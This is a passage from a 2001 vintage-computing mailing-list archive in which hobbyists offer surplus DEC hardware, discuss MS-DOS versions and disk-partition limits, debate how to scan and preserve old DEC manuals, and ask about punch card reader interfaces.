RL02K-DC disk packs. Non of the shoch-watch indicators were triggered. They have a label about 8650 diagnostics on them. Anybody need them? Mike mmcfadden@cmh.edu From mmcfadden at cmh.edu Fri Jun 22 13:48:08 2001 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 19:04:43 2005 Subject: DEC Rainbow 100+ in Kansas City Message-ID: I just came across at the local computer surplus a DEC Rainbow 100+ in a pile of computer equipment. I haven't dug down that far yet. I am also looking for the monitor and keyboard.. Anybody want it? I already have one. Mike mmcfadden@cmh.edu From cmcmanis at mcmanis.com Fri Jun 22 13:49:28 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:43 2005 Subject: Wave of the Future (Spam) In-Reply-To: <200106221637.JAA08962@stockholm.ptloma.edu> References: Message-ID: <5.0.0.25.2.20010622114805.02bb8170@209.185.79.193> At 09:37 AM 6/22/01 -0700, you wrote: >Okay, then, all libertarians are nuts. Who wants to top this troll? ;-) > Cameron Kaiser Oh, that's easy, on this list the best troll is: "Don't be suckered by the diskette maker conspiracy, every single disk is the same. Save your money and just by SSSD disks and notch'em for DSDD use..." --Chuck From cisin at xenosoft.com Fri Jun 22 13:48:40 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:43 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: <497A9E0467D2D2119B760090271EB8E5879AA7@MAIL10> Message-ID: On Fri, 22 Jun 2001, Cini, Richard wrote: > Large disk support == LBA translation (i.e., single hard disk partitions > over 524mb in size). Thank you The phrase "large disk support" will always carry some confusion due to it's RELATIVE nature. 32M, ~500M, 8G, ... What is the current limit? From cmcmanis at mcmanis.com Fri Jun 22 13:55:14 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:43 2005 Subject: preserving / ressurecting old docs? In-Reply-To: References: Message-ID: <5.0.0.25.2.20010622115305.02bbb300@209.185.79.193> At 09:43 AM 6/22/01 -0700, Sellam and Brian Chase wrote: >On Fri, 22 Jun 2001, Brian Chase wrote: > > I'm against the idea of destroying the original as well, but I think > > your point about losing the digital copy is pretty silly. It's > > digital... just make lots of copies and spread them around. I'd say > > it's a lot more dangerous to only have the original. > >Brian, this has been discussed at great length before (perhaps you weren't >around then). Hard copies of documents have survived thousands of years. >Digital magnetic media has only been around for at most 25-30 years. We >don't know what's going to happen to that data 50, 100, 500 years from >now. And others have pointed out that DEC handbooks are on truly lousy paper. Therefore, the _solution_ is to scan them at best possible resolution. Fix any scanning artifacts, the _print them_ on acid free paper and bind _that_. Problem solved, the book still exists (now in a good form) and there is a digital copy as well. --Chuck From RCini at congressfinancial.com Fri Jun 22 13:53:10 2001 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 19:04:43 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking Message-ID: <497A9E0467D2D2119B760090271EB8E5879AA9@MAIL10> > That's what I can come up with without looking. How far off am I? >>Very good. Does that mean very good or very bad? Bad Rich...must study MSDOS Reference...bad Rich... ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) -----Original Message----- From: Fred Cisin (XenoSoft) [mailto:cisin@xenosoft.com] Sent: Friday, June 22, 2001 2:31 PM To: 'classiccmp@classiccmp.org' Subject: RE: MS-DOS version (was: What's best to do?? classically speaking On Fri, 22 Jun 2001, Cini, Richard wrote: > DOS5 != DOS6 differences: > SmartDrive disk cache Doesn't count. It was a seperate product that came with Windoze 3.10 well before 6.00 (and no choice whether to use it) Smartdrive caused MAJOR problems, which the drive compression got blamed for. > Boot menus THAT was fun > "Large disk" support in FDISK IIRC, there were some changes in some of the partition types, but the 32M ended with 3.30, everything 3.31 and on permitted large drives. > Drive compression Had a few problems, but MOST of the problems that it got blamed for were actually the fault of SMARTDRV! It was a third party program (from Vertisoft after the STAC deal fell through), but there were significant mods to the OS itself to integrate it. > That's what I can come up with without looking. How far off am I? Very good. There was also SETVER that let the OS lie about its age. -- Grumpy Ol' Fred cisin@xenosoft.com From mikeford at socal.rr.com Fri Jun 22 13:36:17 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:43 2005 Subject: OT: replacment tray for HP DJ1200C printer In-Reply-To: References: Message-ID: >The 1200c and 1600c are durable and expensive printers and well worth the >cost of even buying the tray kit from HP at list, unlike some of the junker >inkjets made by Canon, Epson, Lexmark, etc. The 1200c and 1600c are more in >the professional series as well. Now is the time to buy cartridges too, as MANY big dealers are dumping them, and when its gone its gone (at decent prices anyway). From marvin at rain.org Fri Jun 22 13:59:41 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:43 2005 Subject: OS/2 Extended Services Administrator's Kit References: <5.0.0.25.2.20010622115305.02bbb300@209.185.79.193> Message-ID: <3B33959D.CE385E00@rain.org> This is basically a package of documentation required for planning and configuing a multiple-workstation or host connected environment. It appears to be complete with about 11 manuals. Free for the cost of shipping (about 10 or 15 pounds?) From lemay at cs.umn.edu Fri Jun 22 14:06:36 2001 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 19:04:43 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: "from Fred Cisin (XenoSoft) at Jun 22, 2001 11:30:52 am" Message-ID: <200106221906.OAA19319@caesar.cs.umn.edu> > On Fri, 22 Jun 2001, Cini, Richard wrote: > > DOS5 != DOS6 differences: > > SmartDrive disk cache > Doesn't count. It was a seperate product that came with Windoze 3.10 well > before 6.00 (and no choice whether to use it) Smartdrive caused MAJOR > problems, which the drive compression got blamed for. Really? I never had problems with Smartdrive on 286 and 386's. I remember running a IBM-AT with something like 10 Megs of ram, and using about 6-8 Megs with smartdrive as a huge disk cache. Great way to make the system run like a bat outta hell (well, hard drives were big and slow back then). That was probably on a dos 3.3 system, maybe with windows 3.0 -Lawrence LeMay > Had a few problems, but MOST of the problems that it got blamed for were > actually the fault of SMARTDRV! It was a third party program (from > Vertisoft after the STAC deal fell through), but there were significant > mods to the OS itself to integrate it. Hmm, of course we never used disk compression, so maybe thats why I saw no problems and only major benefits to using Smartdrive. From RCini at congressfinancial.com Fri Jun 22 14:12:47 2001 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 19:04:43 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking Message-ID: <497A9E0467D2D2119B760090271EB8E5879AAB@MAIL10> Upper limit -- isn't it still 2gb per partition unless special disk manager software is installed? NT has no restriction theoretically. ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) -----Original Message----- From: Fred Cisin (XenoSoft) [mailto:cisin@xenosoft.com] Sent: Friday, June 22, 2001 2:49 PM To: 'classiccmp@classiccmp.org' Subject: RE: MS-DOS version (was: What's best to do?? classically speaking On Fri, 22 Jun 2001, Cini, Richard wrote: > Large disk support == LBA translation (i.e., single hard disk partitions > over 524mb in size). Thank you The phrase "large disk support" will always carry some confusion due to it's RELATIVE nature. 32M, ~500M, 8G, ... What is the current limit? From jss at ou.edu Fri Jun 22 14:15:40 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:43 2005 Subject: DEC RL02K-DC in Kansas City In-Reply-To: References: Message-ID: <993237340.3b33995c89d72@email.ou.edu> Quoting "McFadden, Mike" : > I just came across at the local computer surplus four RL02K-DC disk > packs. I could use them. I recently got some RL02s, but I have no packs for them. -- Jeffrey S. Sharp jss@ou.edu From jss at ou.edu Fri Jun 22 14:21:58 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:43 2005 Subject: DEC RL02K-DC in Kansas City In-Reply-To: References: Message-ID: <993237717.3b339ad600ded@email.ou.edu> Quoting "McFadden, Mike" : > I just came across at the local computer surplus four RL02K-DC disk > packs. Actually, I need to conserve my money at the moment, so you'd better let someone else have them. -- Jeffrey S. Sharp jss@ou.edu From lemay at cs.umn.edu Fri Jun 22 14:37:52 2001 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 19:04:43 2005 Subject: preserving / ressurecting old docs? In-Reply-To: "from Sellam Ismail at Jun 22, 2001 09:43:39 am" Message-ID: <200106221937.OAA19482@caesar.cs.umn.edu> > On Fri, 22 Jun 2001, Brian Chase wrote: > > > > I completely recommend AGAINST destroying the original. Not only is it in > > > some cases a historical artifact on its own, if the digital copy were ever > > > to be lost then you're SOL. > > > > I'm against the idea of destroying the original as well, but I think > > your point about losing the digital copy is pretty silly. It's > > digital... just make lots of copies and spread them around. I'd say > > it's a lot more dangerous to only have the original. > > Brian, this has been discussed at great length before (perhaps you weren't > around then). Hard copies of documents have survived thousands of years. > Digital magnetic media has only been around for at most 25-30 years. We > don't know what's going to happen to that data 50, 100, 500 years from > now. Those DIGITAL handbooks werent exactly printed on vellum, you know. It was cheap paper, some containing acids, and probably spend 15-20 years in computer labs with old technology laserprinters that were spitting Ozone into the air every few minutes, etc. What we're discussing is making the information in the books available to all that need it. A manual that is old, the paper is so orange that its becomming difficult to read the pages, and the glue binding the cheaply made book is breaking up so I dont dare open the book very often, well, such a book is next to useless. What IS useful is getting the best scans possible, so everyone can print off a modern copy of it, on acid free paper, and have it bound into a new book. I dont believe anyone is suggesting that once the pages of the book are scanned, that the old pages should be burned or discarded. Placing them in a bag to protect them from dust and Ozone, seems the most likely scenario. And then the pages are all ready for sometime in the future when new technology makes the effort of rescanning the pages desirable. Now, you might say that not all books are in that bad of shape right now. But, if you know that its just a matter of time, a few decades at best, before the books will start showing serious signs of decay, then why not attempt to get the best quality scans now, while you can and while some of us are still young... And while many of us might be able to use the information contained in these books. Many of these useful books arent exactly rare. If you havent seen the opportunities to buy at least a DOZEN copies of a PDP8 small computer handbook in the past 6 months, its because you werent looking. And they are still available in many university libraries. But that doesnt help make the information as easily and generally available as scanning and printing working copies does. So, its a tradeoff. Do the needs of the many, outweight the needs of the few? Should the scribe that originally argued against making copies of The Bible, because the sacred pages of the original might be damaged, should that scribe have been listened to? Probably not. -Lawrence LeMay From jss at ou.edu Fri Jun 22 14:38:59 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:43 2005 Subject: Source for anti-static bags? In-Reply-To: <200106211924.OAA12270@caesar.cs.umn.edu> References: <200106211924.OAA12270@caesar.cs.umn.edu> Message-ID: <993238738.3b339ed303fda@email.ou.edu> Quoting Lawrence LeMay : > One such place is staticbags.com That seems like the easiest thing to do. I've just ordered some. Thanks for all the help, everyone! -- Jeffrey S. Sharp jss@ou.edu From jhellige at earthlink.net Fri Jun 22 13:58:59 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:43 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: Message-ID: <01Jun22.160510edt.119051@gateway.mediacen.navy.mil> On Friday, June 22, 2001, at 02:24 PM, Fred Cisin (XenoSoft) wrote: > 3.3 (There ain't no sech animal; it is actually 3.30, three point > THIRTY) > was limited to 32M (due to DOS using "relative sector number", and being > unable to comprehend more than 65536 sectors per drive letter. > 3.31 (three point thirty one) was the version that supported larger > drives. Not entirely correct, as Zenith did label theirs as 'MS-DOS Version 3.3 Plus'. It did support partitions larger than 32M. I've not actually booted it in a number of years to see what the VER command reports back though. I remember using this on Z-248's and still have a number of sets of the disks. Jeff From dhquebbeman at theestopinalgroup.com Fri Jun 22 15:03:40 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:43 2005 Subject: OT: replacment tray for HP DJ1200C printer Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371511E5@jeffserver.tegjeff.com> > >The 1200c and 1600c are durable and expensive printers and well worth the > >cost of even buying the tray kit from HP at list, unlike some of the junker > >inkjets made by Canon, Epson, Lexmark, etc. The 1200c and 1600c are more in > >the professional series as well. > > Now is the time to buy cartridges too, as MANY big dealers are dumping > them, and when its gone its gone (at decent prices anyway). Not a very successful strategy; the ink cartridges for the HP1200C, HP650c Plotter, HP750c/755CM+, and the black cartridges for the HP DeskJet 870 & 895 have a limited shelf life. However, I think you're wrong about these particular cartridges disappearing from the market any time soon. YMMV, etc. -dq From bdc at world.std.com Fri Jun 22 15:15:06 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:44 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: Message-ID: On Fri, 22 Jun 2001, Fred Cisin (XenoSoft) wrote: > On Fri, 22 Jun 2001, Cini, Richard wrote: > > Large disk support == LBA translation (i.e., single hard disk partitions > > over 524mb in size). > > Thank you > The phrase "large disk support" will always carry some confusion due to > it's RELATIVE nature. 32M, ~500M, 8G, ... What is the current limit? In Microsoft products? Who cares :-) I like my SGI XFS filesystems with a 1TB filesystem limits. Future releases of it are supposed to support 18,000,000 TB filesystem sizes. I've never seen a UNIX filesytem more wonderfully scaleable and fast as XFS, but it's not 10 years old yet. -brian. From edick at idcomm.com Fri Jun 22 15:20:56 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:44 2005 Subject: Wave of the Future (Spam) References: <5.0.0.25.2.20010622114805.02bb8170@209.185.79.193> Message-ID: <002301c0fb58$d8119a60$9cc762d8@idcomm.com> 'ey ... wazzamadda-you??? ainna you got enuffa bruises??? Dick ----- Original Message ----- From: "Chuck McManis" To: Sent: Friday, June 22, 2001 12:49 PM Subject: Re: Wave of the Future (Spam) > At 09:37 AM 6/22/01 -0700, you wrote: > >Okay, then, all libertarians are nuts. Who wants to top this troll? ;-) > > Cameron Kaiser > > Oh, that's easy, on this list the best troll is: > "Don't be suckered by the diskette maker conspiracy, every > single disk is the same. Save your money and just by SSSD > disks and notch'em for DSDD use..." > > --Chuck > > > > From dhquebbeman at theestopinalgroup.com Fri Jun 22 15:33:18 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:44 2005 Subject: Punched card readers Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371511E6@jeffserver.tegjeff.com> > Does anyone have Docs for the Documation punch card readers? I'd like to > hook one up to a PDP 8/e or 11, but i'm concerned about finding or making > the proper interface cable. I think the documation card readers used a > strange (to me, at least) interface connector that i'm not sure is available > anymore, plus I dont have the information necessary to create the cable. IIRC (questionable), they used standart V.35-type connectors. But since V.35 is generally a serial interface, and the reader would most likely be parallel, dunno about the pinout... How hard would it be to figure out which lines were input to the card reader (there might be an 'enable' line or something like that)? If it turns out there are no input lines to the reader, then all lines coming out are output, and in the case of the fairly-recent Documation readers, they should be TTL-level signals. Hook up a bank of appropriately-wired LEDs to determine which line are data and which is strobe. Just a thought... -dq From healyzh at aracnet.com Fri Jun 22 15:38:11 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:44 2005 Subject: Punched card readers In-Reply-To: <01Jun22.132206edt.119117@gateway.mediacen.navy.mil> from "Jeff Hellige" at Jun 22, 2001 01:21:25 PM Message-ID: <200106222038.f5MKcBq27301@shell1.aracnet.com> > Yes, it was only single-feed, through a slot in the front of the box. I > mentioned it though because he didn't specify a specific type and figured he > might be able to find one with a little checking. Afterall, there are still > ships using the Harris mini's as far as I know. I've not heard that Snap-II > had been totally phased out of use yet. Are you sure anyone is still using the Harris Mini's? BTW, I believe they were a Harris 550. They were supposed to be phased out around the same time as the Honeywell DPS-6's that made up SNAP I. I think NEETS Module 21 has a little info on the Harris Mini. Also, if anyone has the sourcecode for the "Star Trek" game that ran on the Harris systems I'd love to get my hands on a copy! It wasn't the standard X-Y Grid based Star Trek that has run on just about every platform (although I think they did have one like that also). Zane From healyzh at aracnet.com Fri Jun 22 15:43:14 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:44 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <20010622122622.M9041@mrbill.net> from "Bill Bradford" at Jun 22, 2001 12:26:22 PM Message-ID: <200106222043.f5MKhEi27497@shell1.aracnet.com> > I'm scanning them in as 100dpi grayscale GIFs, then I will convert to > other format(s) and eventually to PDF. Scanning directly to PDF with > HP's software produces horrible output with compression artifacts. Please don't scan them at such a low resolution! 300dpi works pretty good. I'd really recommend going out and buying Adobe Acrobat itself. I bought V5 and am very happy with it. For an example of what can be done with Adobe Acrobat and an old 300dpi scanner you might want to check the following: ftp://zane.brouhaha.com/pub/hardware/WQESD.pdf Rememeber at 100dpi you're going to be scanning at such a low resolution that any prints will be basically worthless. Zane From jhellige at earthlink.net Fri Jun 22 15:44:29 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:44 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: <200106221906.OAA19319@caesar.cs.umn.edu> References: <200106221906.OAA19319@caesar.cs.umn.edu> Message-ID: >Really? I never had problems with Smartdrive on 286 and 386's. I remember >running a IBM-AT with something like 10 Megs of ram, and using about 6-8 >Megs with smartdrive as a huge disk cache. Great way to make the system >run like a bat outta hell (well, hard drives were big and slow back then). One of the big problems I remember with Smartdrive is that people would shut the system down before all the cache had been written to the disk. On any machine I set up, I always made it a point to put: Smartdrv /c In a batch file called SHUT.BAT and I'd execute it to flush the RAM prior to shutting down. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From dhquebbeman at theestopinalgroup.com Fri Jun 22 15:46:55 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:44 2005 Subject: SDK for Windows 1.04?? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371511E7@jeffserver.tegjeff.com> > Doug: > > The earliest MSC I have is 7.0 which has the 3.1 SDK on > it (separate disk and separate install program). That's ok; newcomers are welcome, too! ;-) From jhellige at earthlink.net Fri Jun 22 15:48:16 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:44 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: <497A9E0467D2D2119B760090271EB8E5879AAB@MAIL10> References: <497A9E0467D2D2119B760090271EB8E5879AAB@MAIL10> Message-ID: >Upper limit -- isn't it still 2gb per partition unless special disk manager >software is installed? NT has no restriction theoretically. Under DOS with 16bit access it's still 2gig per partition. I believe it's 8gig per partition under the 32bit access of 95/98/NT/2000. Boot from a plain DOS disk for the install of one of those though and you'll still be stuck with 2gig. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From healyzh at aracnet.com Fri Jun 22 15:59:47 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:44 2005 Subject: preserving / ressurecting old docs? In-Reply-To: from "Sellam Ismail" at Jun 22, 2001 09:36:43 AM Message-ID: <200106222059.f5MKxmM28307@shell1.aracnet.com> > Acrobat is nice but I think it's bloated. It won't be so much an issue as > computers continue to get bigger/better/faster (mine is a P3 700Mhz, 128MB > RAM, and handles them fine) but bandwidth is still a problem. Unfortunatly you're correct about the problems with Adobe Acrobat. Though this partially depends on the software used to create the files. It's a shame that OCR software isn't more flexable, and cheaper. Acrobat is still far superior to the Type 4 TIFF's (I think this is the right format) that a lot of the PDP-8 doc's have been done in. BTW, that Adobe Acrobat Document I mentioned in the previous post is only 3745Kb and that's for a 106 page document scanned at 300dpi. > Well, we don't need everyone doing this. One or two handbooks being > destroyed to make a digital archive is fine. The best thing to do is > scour the net for prior work before one proceeds to shred a book for > scanning. I couldn't agree more, however, the person doing it should ensure that they're doing a good enough quality that no one else will need to do it again. Plus doing it in a format such as Adobe Acrobat which can be read with Open Source tools is also a good thing. Zane From healyzh at aracnet.com Fri Jun 22 16:03:32 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:44 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <5.0.0.25.2.20010622115305.02bbb300@209.185.79.193> from "Chuck McManis" at Jun 22, 2001 11:55:14 AM Message-ID: <200106222103.f5ML3XP28394@shell1.aracnet.com> > And others have pointed out that DEC handbooks are on truly lousy paper. > Therefore, the _solution_ is to scan them at best possible resolution. Fix > any scanning artifacts, the _print them_ on acid free paper and bind > _that_. Problem solved, the book still exists (now in a good form) and > there is a digital copy as well. It's also interesting to note that DEC themselves made copies of some handbooks apparently. I've got two handbooks that are obviously copies and bound with plastic spiral combs. When I asked about these a couple years ago, I was told this was common. Of course the two I've got are of books where the original actually has better paper if anything :^) Zane From mrbill at mrbill.net Fri Jun 22 16:21:29 2001 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 19:04:44 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <200106222043.f5MKhEi27497@shell1.aracnet.com>; from healyzh@aracnet.com on Fri, Jun 22, 2001 at 01:43:14PM -0700 References: <20010622122622.M9041@mrbill.net> <200106222043.f5MKhEi27497@shell1.aracnet.com> Message-ID: <20010622162129.D27289@mrbill.net> On Fri, Jun 22, 2001 at 01:43:14PM -0700, healyzh@aracnet.com wrote: > Please don't scan them at such a low resolution! 300dpi works pretty good. > I'd really recommend going out and buying Adobe Acrobat itself. I bought V5 > and am very happy with it. 100dpi seems to be the best resolution that I've seen for a tradeoff between readability and file size. > For an example of what can be done with Adobe Acrobat and an old 300dpi > scanner you might want to check the following: > ftp://zane.brouhaha.com/pub/hardware/WQESD.pdf Looking now. > Rememeber at 100dpi you're going to be scanning at such a low resolution > that any prints will be basically worthless. This is text and line drawings... for finer stuff, I'll use a higher resolution, of course. Bill -- Bill Bradford mrbill@mrbill.net Austin, TX From optimus at canit.se Fri Jun 22 17:11:21 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:44 2005 Subject: Wave of the Future (Spam) In-Reply-To: <3B335E7B.A0471A79@greenbelt.com> Message-ID: <607.573T1050T13914559optimus@canit.se> Eric Chomko skrev: [snip] >Ouch! And you're a troll! Nixon was a Republican. I rest my case. What else would you expect of a president? Can you imagine a republic without a president? As for me, I'm a royalist... -- En ligne avec Thor 2.6a. I installed 7.6.1 on my Color Classic too. It has 6mb ram now, and no FPU yet. Things really slowed down when I installed the Appearance extention and control panel. But now the GUI is OS8ish! ;) That little creep is so cute, I'll probably leave instructions to have it made my urn. It'll hold my ashes, and still continue to function as a computer ;) iVan From lemay at cs.umn.edu Fri Jun 22 16:45:16 2001 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 19:04:44 2005 Subject: Punched card readers In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD371511E6@jeffserver.tegjeff.com> "from Douglas Quebbeman at Jun 22, 2001 04:33:18 pm" Message-ID: <200106222145.QAA19865@caesar.cs.umn.edu> [ Charset ISO-8859-1 unsupported, converting... ] > > Does anyone have Docs for the Documation punch card readers? I'd like to > > hook one up to a PDP 8/e or 11, but i'm concerned about finding or making > > the proper interface cable. I think the documation card readers used a > > strange (to me, at least) interface connector that i'm not sure is available > > anymore, plus I dont have the information necessary to create the cable. > > IIRC (questionable), they used standart V.35-type connectors. But since > V.35 is generally a serial interface, and the reader would most likely > be parallel, dunno about the pinout... Take a look at this completed ebay auction, the last picture is a rear shot, and if you click for a larger version of the back, you can clearly see the connector. http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=1242867992 And no, I dont actually have one of these card readers yet, but i'm considering buying one even at the outrageous prices they are going for ($300 or so). -Lawrence LeMay > > How hard would it be to figure out which lines were input to the > card reader (there might be an 'enable' line or something like that)? > If it turns out there are no input lines to the reader, then all > lines coming out are output, and in the case of the fairly-recent > Documation readers, they should be TTL-level signals. Hook up a > bank of appropriately-wired LEDs to determine which line are > data and which is strobe. > > Just a thought... -dq > From jhellige at earthlink.net Fri Jun 22 16:44:24 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:44 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <200106222103.f5ML3XP28394@shell1.aracnet.com> References: <200106222103.f5ML3XP28394@shell1.aracnet.com> Message-ID: >It's also interesting to note that DEC themselves made copies of some >handbooks apparently. I've got two handbooks that are obviously copies and >bound with plastic spiral combs. When I asked about these a couple years >ago, I was told this was common. Of course the two I've got are of books >where the original actually has better paper if anything :^) Tandy did the same thing at the end of their support for their early TRS-80 machines. I ordered one of the manuals that came with the Model 2000 and what arrived a few days later was a photocopy, bound with the plastic spring spiral. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From jhellige at earthlink.net Fri Jun 22 16:46:52 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:44 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <200106222059.f5MKxmM28307@shell1.aracnet.com> References: <200106222059.f5MKxmM28307@shell1.aracnet.com> Message-ID: >BTW, that Adobe Acrobat Document I mentioned in the previous post is only >3745Kb and that's for a 106 page document scanned at 300dpi. Zane, what settings and file formats are you using when you do the PDF's like that? I've got Acrobat 4 and am still having a heck of a time getting the file size down. I can get the TIFF I import into Acrobat down to a good size by using LZW compression when I save it, but it makes no difference to the end PDF file. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From jhellige at earthlink.net Fri Jun 22 16:49:43 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:44 2005 Subject: Wave of the Future (Spam) In-Reply-To: <607.573T1050T13914559optimus@canit.se> References: <607.573T1050T13914559optimus@canit.se> Message-ID: > >Ouch! And you're a troll! Nixon was a Republican. I rest my case. > >What else would you expect of a president? Can you imagine a republic without >a president? >As for me, I'm a royalist... For starters, it'd be nice if he sided with someone other than big business once in a while.... Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From jhellige at earthlink.net Fri Jun 22 17:07:27 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:44 2005 Subject: preserving / ressurecting old docs? In-Reply-To: References: Message-ID: >Acrobat is nice but I think it's bloated. It won't be so much an issue as >computers continue to get bigger/better/faster (mine is a P3 700Mhz, 128MB >RAM, and handles them fine) but bandwidth is still a problem. Considering what people are saving to the Acrobat format, both text and images, it does pretty well. There are certainly worse file formats as far as bloat....the BMP format for one. A single image saved in BMP can easily take up the space of a good sized PDF. PDF's are also quite cross-platform at this stage. Plus, if MS can send an NT service pack of 90meg over the wire with who knows how many people downloading it at once, a 4-5meg PDF of a truly useful manual being downloaded by a small number of people isn't going to make much difference bandwidth wise. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From jhellige at earthlink.net Fri Jun 22 17:15:36 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:44 2005 Subject: Punched card readers In-Reply-To: <200106222038.f5MKcBq27301@shell1.aracnet.com> References: <200106222038.f5MKcBq27301@shell1.aracnet.com> Message-ID: >Are you sure anyone is still using the Harris Mini's? BTW, I believe they >were a Harris 550. They were supposed to be phased out around the same time >as the Honeywell DPS-6's that made up SNAP I. I think NEETS Module 21 has a >little info on the Harris Mini. I'll have to see if I still have that NEETS module here. I don't remember the section on the Harris systems though. I know some of the oilers were still using them since the ship wasn't large enough to accomodate the Honeywell systems. The last time I actually worked on one was in '93. Even the Honeywell's are being replaced by micro's running Unix though. >Also, if anyone has the sourcecode for the "Star Trek" game that ran on the >Harris systems I'd love to get my hands on a copy! It wasn't the standard >X-Y Grid based Star Trek that has run on just about every platform (although >I think they did have one like that also). I've played the Star Trek as installed on the DPS-6 but never on the Harris. Given the wide spread porting of that game, it'd be interesting to see an archive that included the various source versions for it. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From healyzh at aracnet.com Fri Jun 22 17:18:40 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:44 2005 Subject: preserving / ressurecting old docs? In-Reply-To: from "Jeff Hellige" at Jun 22, 2001 05:46:52 PM Message-ID: <200106222218.f5MMIeP01043@shell1.aracnet.com> > >BTW, that Adobe Acrobat Document I mentioned in the previous post is only > >3745Kb and that's for a 106 page document scanned at 300dpi. > > what settings and file formats are you using when you do the > PDF's like that? I've got Acrobat 4 and am still having a heck of a > time getting the file size down. I can get the TIFF I import into > Acrobat down to a good size by using LZW compression when I save it, > but it makes no difference to the end PDF file. I've got Acrobat 5, and I believe I simply used the default settings (remember I did that book about 2 months ago). The book I scanned was partially done as a test, and I've not had time to do any others. The other reason I scanned that one is that the Webster WQESD/4 is a very nice Q-Bus ESDI card. Zane From ethan_dicks at yahoo.com Fri Jun 22 17:30:38 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:44 2005 Subject: OCR for punchcards? In-Reply-To: <200106221657.KAA28243@calico.litterbox.com> Message-ID: <20010622223038.63311.qmail@web9504.mail.yahoo.com> --- Jim Strickland wrote: > It just occurred to me that it should be possible to write OCR software > to read punchcards on your scanner. Not that I have any punchcards > mind you, more of an intellectual exercise, but has anyone written > such a thing? I started to... I stuck the punch card in the sleeve my sheet-feed Brother scanner comes with for torn pages, and backed it with a piece of colored paper for contrast through the holes. I scanned it at 200 dpi, then converted the TIFF to GIF and was using Tom Boutell's GD library to slurp the GIF file in (an old, 